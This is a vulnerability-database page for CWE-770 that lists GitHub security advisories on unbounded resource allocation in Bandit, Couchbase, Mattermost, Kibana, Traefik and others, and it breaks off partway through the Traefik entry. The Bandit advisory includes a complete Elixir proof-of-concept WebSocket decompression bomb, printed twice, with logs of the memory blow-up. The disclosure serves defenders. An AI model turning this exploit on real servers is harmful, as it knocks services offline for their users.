CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3023 vulnerabilities reference this CWE, most recent first.
GHSA-FRH3-6PV6-RC8J
Vulnerability from github – Published: 2026-05-07 03:36 – Updated: 2026-05-07 03:36Summary
When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.
Details
In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.
websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.
The bug is gated by two server-side flags being true at the same time:
- Bandit's global
websocket_options.compress(defaults totrueperbandit.ex:198-201). - The per-upgrade
connection_opts.compresspassed toWebSockAdapter.upgrade/4(defaults tofalseperwebsock_adapter.ex:42-43; Phoenix's default is alsofalseperphoenix/lib/phoenix/transports/websocket.ex:33).
Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).
Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.
PoC
A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.
Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):
- Frame on the wire: ~6 MiB.
- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by
IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd. - Tuning
@target_decompressed_bytesupward, or opening N parallel connections, OOM-kills the BEAM outright.
A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.
Impact
Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.
Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.
# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs
Mix.install([
{:bandit, "~> 1.10"},
{:plug, "~> 1.19"},
{:websock_adapter, "~> 0.5"}
])
defmodule EchoSocket do
@behaviour WebSock
def init(_opts), do: {:ok, %{}}
def handle_in(_message, state), do: {:ok, state}
def handle_info(_message, state), do: {:ok, state}
def terminate(_reason, state), do: {:ok, state}
end
defmodule DemoApp do
@behaviour Plug
def init(opts), do: opts
def call(conn, _opts) do
conn
|> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
|> Plug.Conn.halt()
end
end
defmodule Bomb do
@port 4321
# 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
@target_decompressed_bytes 6 * 1024 * 1024 * 1024
@plaintext_chunk_bytes 10 * 1024 * 1024
def run do
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
sock = ws_handshake!()
deflate_payload = build_deflate_bomb()
frame = compressed_text_frame(deflate_payload)
sampler_pid = spawn_link(&sample_memory_loop/0)
log("Sending #{byte_size(frame)}-byte compressed frame…")
:ok = :gen_tcp.send(sock, frame)
handle_recv(sock)
Process.unlink(sampler_pid)
Process.exit(sampler_pid, :kill)
:gen_tcp.close(sock)
log("Done.")
end
# Open a TCP connection and complete the WebSocket handshake with
# permessage-deflate. Raises if the server doesn't negotiate it.
defp ws_handshake! do
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()
:ok =
:gen_tcp.send(sock, """
GET / HTTP/1.1\r
Host: 127.0.0.1\r
Upgrade: websocket\r
Connection: Upgrade\r
Sec-WebSocket-Key: #{ws_key}\r
Sec-WebSocket-Version: 13\r
Sec-WebSocket-Extensions: permessage-deflate\r
\r
""")
{:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
log("Handshake complete.")
sock
end
# Stream-deflate @target_decompressed_bytes worth of zeros so the client
# never holds the full plaintext at once. RFC 7692 uses raw deflate
# (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
# we strip per the spec.
defp build_deflate_bomb do
chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")
zstream = :zlib.open()
:ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
final_flush = :zlib.deflate(zstream, <<>>, :sync)
:zlib.close(zstream)
deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
trailer_size = byte_size(deflated) - 4
<<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated
log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
payload
end
# Wrap payload in a single masked WebSocket text frame with RSV1 set
# (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
defp compressed_text_frame(payload) do
mask = :crypto.strong_rand_bytes(4)
payload_size = byte_size(payload)
mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
masked_payload = :crypto.exor(payload, mask_stream)
length_bytes =
cond do
payload_size <= 125 -> <<1::1, payload_size::7>>
payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
true -> <<1::1, 127::7, payload_size::64>>
end
<<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
end
# EchoSocket.handle_in/2 doesn't reply, so recv times out after the
# observation window. That's enough to watch the BEAM heap spike.
defp handle_recv(sock) do
case :gen_tcp.recv(sock, 0, 5_000) do
{:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")
{:ok, bytes} ->
log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")
{:error, :timeout} ->
log("recv timed out (server held the inflated payload silently).")
{:error, reason} ->
log("Connection closed: #{inspect(reason)}")
end
end
defp sample_memory_loop do
log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
Process.sleep(250)
sample_memory_loop()
end
defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end
Bomb.run()
Logs
10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "bandit"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.8"
},
{
"fixed": "1.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39804"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T03:36:13Z",
"nvd_published_at": "2026-05-01T21:16:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit\u0027s inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default \u2014 they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.\n\n### Details\n\nIn `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process\u0027s heap.\n\n`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.\n\nThe bug is gated by two server-side flags being true at the same time:\n\n- Bandit\u0027s global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).\n- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix\u0027s default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).\n\nBoth must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket \"/ws\", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).\n\n**Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.\n\n### PoC\n\nA fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.\n\nObserved on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):\n\n- Frame on the wire: ~6 MiB.\n- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC\u0027d.\n- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.\n\nA separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit\u0027s documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.\n\n### Impact\n\nUnauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection \u2014 no authentication, no valid route, no application cooperation.\n\nAffected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected \u2014 both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.\n\n```elixir\n# Bandit WebSocket permessage-deflate bomb PoC.\n#\n# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2\n# with no output-size cap. A small (~4 MiB) compressed frame inflates to\n# multiple GiB on the BEAM heap before any application code sees it.\n#\n# Note: in the default setup something upstream caps wire-side frames at\n# ~8 MiB even though Bandit\u0027s documented max_frame_size default is 0\n# (unlimited). The bug is reachable below that cap regardless.\n#\n# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs\n\nMix.install([\n {:bandit, \"~\u003e 1.10\"},\n {:plug, \"~\u003e 1.19\"},\n {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n @behaviour WebSock\n\n def init(_opts), do: {:ok, %{}}\n def handle_in(_message, state), do: {:ok, state}\n def handle_info(_message, state), do: {:ok, state}\n def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n @behaviour Plug\n def init(opts), do: opts\n def call(conn, _opts) do\n conn\n |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)\n |\u003e Plug.Conn.halt()\n end\nend\n\ndefmodule Bomb do\n @port 4321\n # 6 GiB inflated -\u003e ~6 MiB compressed (well under the ~8 MiB wire cap).\n @target_decompressed_bytes 6 * 1024 * 1024 * 1024\n @plaintext_chunk_bytes 10 * 1024 * 1024\n\n def run do\n {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n sock = ws_handshake!()\n deflate_payload = build_deflate_bomb()\n frame = compressed_text_frame(deflate_payload)\n\n sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n log(\"Sending #{byte_size(frame)}-byte compressed frame\u2026\")\n :ok = :gen_tcp.send(sock, frame)\n handle_recv(sock)\n\n Process.unlink(sampler_pid)\n Process.exit(sampler_pid, :kill)\n :gen_tcp.close(sock)\n log(\"Done.\")\n end\n\n # Open a TCP connection and complete the WebSocket handshake with\n # permessage-deflate. Raises if the server doesn\u0027t negotiate it.\n defp ws_handshake! do\n {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n :ok =\n :gen_tcp.send(sock, \"\"\"\n GET / HTTP/1.1\\r\n Host: 127.0.0.1\\r\n Upgrade: websocket\\r\n Connection: Upgrade\\r\n Sec-WebSocket-Key: #{ws_key}\\r\n Sec-WebSocket-Version: 13\\r\n Sec-WebSocket-Extensions: permessage-deflate\\r\n \\r\n \"\"\")\n\n {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n if not (response =~ \"permessage-deflate\"), do: raise(\"permessage-deflate not negotiated:\\n#{response}\")\n log(\"Handshake complete.\")\n sock\n end\n\n # Stream-deflate @target_decompressed_bytes worth of zeros so the client\n # never holds the full plaintext at once. RFC 7692 uses raw deflate\n # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which\n # we strip per the spec.\n defp build_deflate_bomb do\n chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @plaintext_chunk_bytes)\n chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)\n log(\"Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext\u2026\")\n\n zstream = :zlib.open()\n :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)\n deflated_chunks = Enum.map(1..chunk_count, fn _ -\u003e :zlib.deflate(zstream, chunk, :none) end)\n final_flush = :zlib.deflate(zstream, \u003c\u003c\u003e\u003e, :sync)\n :zlib.close(zstream)\n\n deflated = IO.iodata_to_binary([deflated_chunks, final_flush])\n trailer_size = byte_size(deflated) - 4\n \u003c\u003cpayload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF\u003e\u003e = deflated\n\n log(\"Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).\")\n payload\n end\n\n # Wrap payload in a single masked WebSocket text frame with RSV1 set\n # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).\n defp compressed_text_frame(payload) do\n mask = :crypto.strong_rand_bytes(4)\n payload_size = byte_size(payload)\n mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n masked_payload = :crypto.exor(payload, mask_stream)\n\n length_bytes =\n cond do\n payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n end\n\n \u003c\u003c1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n end\n\n # EchoSocket.handle_in/2 doesn\u0027t reply, so recv times out after the\n # observation window. That\u0027s enough to watch the BEAM heap spike.\n defp handle_recv(sock) do\n case :gen_tcp.recv(sock, 0, 5_000) do\n {:ok, \u003c\u003c0x88, _len, close_code::16, close_reason::binary\u003e\u003e} -\u003e\n log(\"Close frame: code=#{close_code} reason=#{inspect(close_reason)}\")\n\n {:ok, bytes} -\u003e\n log(\"Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}\")\n\n {:error, :timeout} -\u003e\n log(\"recv timed out (server held the inflated payload silently).\")\n\n {:error, reason} -\u003e\n log(\"Connection closed: #{inspect(reason)}\")\n end\n end\n\n defp sample_memory_loop do\n log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n Process.sleep(250)\n sample_memory_loop()\n end\n\n defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nBomb.run()\n```\n\n#### Logs\n\n```\n10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[08:15:24.269] Handshake complete.\n[08:15:24.321] Deflating 6144 MiB plaintext\u2026\n[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).\n[08:15:37.581] Sending 6257689-byte compressed frame\u2026\n[08:15:37.582] [mem] BEAM total = 76 MiB\n[08:15:37.834] [mem] BEAM total = 759 MiB\n[08:15:38.087] [mem] BEAM total = 1480 MiB\n[08:15:38.338] [mem] BEAM total = 2214 MiB\n[08:15:38.589] [mem] BEAM total = 2724 MiB\n[08:15:38.840] [mem] BEAM total = 3410 MiB\n[08:15:39.091] [mem] BEAM total = 3877 MiB\n[08:15:39.342] [mem] BEAM total = 4268 MiB\n[08:15:39.593] [mem] BEAM total = 4815 MiB\n[08:15:39.845] [mem] BEAM total = 5270 MiB\n[08:15:40.096] [mem] BEAM total = 5766 MiB\n[08:15:40.347] [mem] BEAM total = 12451 MiB\n[08:15:40.598] [mem] BEAM total = 12452 MiB\n[08:15:40.850] [mem] BEAM total = 12452 MiB\n[08:15:41.101] [mem] BEAM total = 12452 MiB\n[08:15:41.353] [mem] BEAM total = 12452 MiB\n[08:15:41.606] [mem] BEAM total = 12451 MiB\n[08:15:41.856] [mem] BEAM total = 6229 MiB\n[08:15:42.107] [mem] BEAM total = 6229 MiB\n[08:15:42.358] [mem] BEAM total = 6229 MiB\n[08:15:42.582] recv timed out (server held the inflated payload silently).\n[08:15:42.584] Done.\n```",
"id": "GHSA-frh3-6pv6-rc8j",
"modified": "2026-05-07T03:36:13Z",
"published": "2026-05-07T03:36:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39804"
},
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-39804.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/mtrudel/bandit"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-39804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bandit\u0027s unbounded WebSocket inflate causes BEAM OOM with a single frame"
}
GHSA-FRWJ-XV69-M7PR
Vulnerability from github – Published: 2024-02-29 00:30 – Updated: 2024-11-05 18:31An issue was discovered in Couchbase Server through 7.2.2. A data reader may cause a denial of service (application exist) because of the OOM killer.
{
"affected": [],
"aliases": [
"CVE-2023-45873"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-28T22:15:26Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Couchbase Server through 7.2.2. A data reader may cause a denial of service (application exist) because of the OOM killer.",
"id": "GHSA-frwj-xv69-m7pr",
"modified": "2024-11-05T18:31:58Z",
"published": "2024-02-29T00:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45873"
},
{
"type": "WEB",
"url": "https://docs.couchbase.com/server/current/release-notes/relnotes.html"
},
{
"type": "WEB",
"url": "https://forums.couchbase.com/tags/security"
},
{
"type": "WEB",
"url": "https://www.couchbase.com/alerts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FV5R-CW7F-79JM
Vulnerability from github – Published: 2022-07-15 00:00 – Updated: 2022-07-26 00:01The legacy Slack import feature in Mattermost version 6.7.0 and earlier fails to properly limit the sizes of imported files, which allows an authenticated attacker to crash the server by importing large files via the Slack import REST API.
{
"affected": [],
"aliases": [
"CVE-2022-2406"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-14T18:15:00Z",
"severity": "MODERATE"
},
"details": "The legacy Slack import feature in Mattermost version 6.7.0 and earlier fails to properly limit the sizes of imported files, which allows an authenticated attacker to crash the server by importing large files via the Slack import REST API.",
"id": "GHSA-fv5r-cw7f-79jm",
"modified": "2022-07-26T00:01:03Z",
"published": "2022-07-15T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2406"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FV98-P2R6-2CJR
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted bulk deletion request that causes excessive resource consumption, which may render Kibana unavailable.
{
"affected": [],
"aliases": [
"CVE-2026-49087"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T17:16:35Z",
"severity": "MODERATE"
},
"details": "Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted bulk deletion request that causes excessive resource consumption, which may render Kibana unavailable.",
"id": "GHSA-fv98-p2r6-2cjr",
"modified": "2026-07-01T18:31:54Z",
"published": "2026-07-01T18:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49087"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-19-15-9-3-4-security-update-esa-2026-49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FVCH-763V-4HWX
Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2024-12-31 21:30In Matter (aka connectedhomeip or Project CHIP) through 1.4.0.0 before e3277eb, unlimited user label appends in a userlabel cluster can lead to a denial of service (resource exhaustion).
{
"affected": [],
"aliases": [
"CVE-2024-56319"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-18T23:15:18Z",
"severity": "HIGH"
},
"details": "In Matter (aka connectedhomeip or Project CHIP) through 1.4.0.0 before e3277eb, unlimited user label appends in a userlabel cluster can lead to a denial of service (resource exhaustion).",
"id": "GHSA-fvch-763v-4hwx",
"modified": "2024-12-31T21:30:45Z",
"published": "2024-12-19T00:37:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56319"
},
{
"type": "WEB",
"url": "https://github.com/project-chip/connectedhomeip/issues/36760"
},
{
"type": "WEB",
"url": "https://github.com/project-chip/connectedhomeip/pull/36843"
},
{
"type": "WEB",
"url": "https://github.com/project-chip/connectedhomeip/commit/e3277eb02ed8115de5887e8beca0e35007ba71f3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FVRC-WHM3-2JQQ
Vulnerability from github – Published: 2024-11-13 18:32 – Updated: 2024-11-14 00:31In validate of WifiConfigurationUtil.java , there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-43083"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-13T18:15:21Z",
"severity": "MODERATE"
},
"details": "In validate of WifiConfigurationUtil.java , there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-fvrc-whm3-2jqq",
"modified": "2024-11-14T00:31:11Z",
"published": "2024-11-13T18:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43083"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/packages/modules/Wifi/+/62f61e19524e9a55cadd1116c9448ff34b977e50"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2024-11-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FW45-F5Q2-2P4X
Vulnerability from github – Published: 2026-03-04 18:23 – Updated: 2026-03-05 22:28Impact
There is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.
When Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no maxResponseBodySize configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.
This results in a denial of service for all routes served by the affected Traefik instance.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.38
- https://github.com/traefik/traefik/releases/tag/v3.6.9
Workarounds
No workaround available.
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description ### Summary The ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint. ### Details In pkg/middlewares/auth/forward.go, line 213: body, readError := io.ReadAll(forwardResponse.Body) When the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed. Traefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94): logger.Warn().Msgf("ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...") However, the response body path has no equivalent protection — no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window. | Direction | Protection | Code | |-----------|-----------|------| | Request body to auth server | 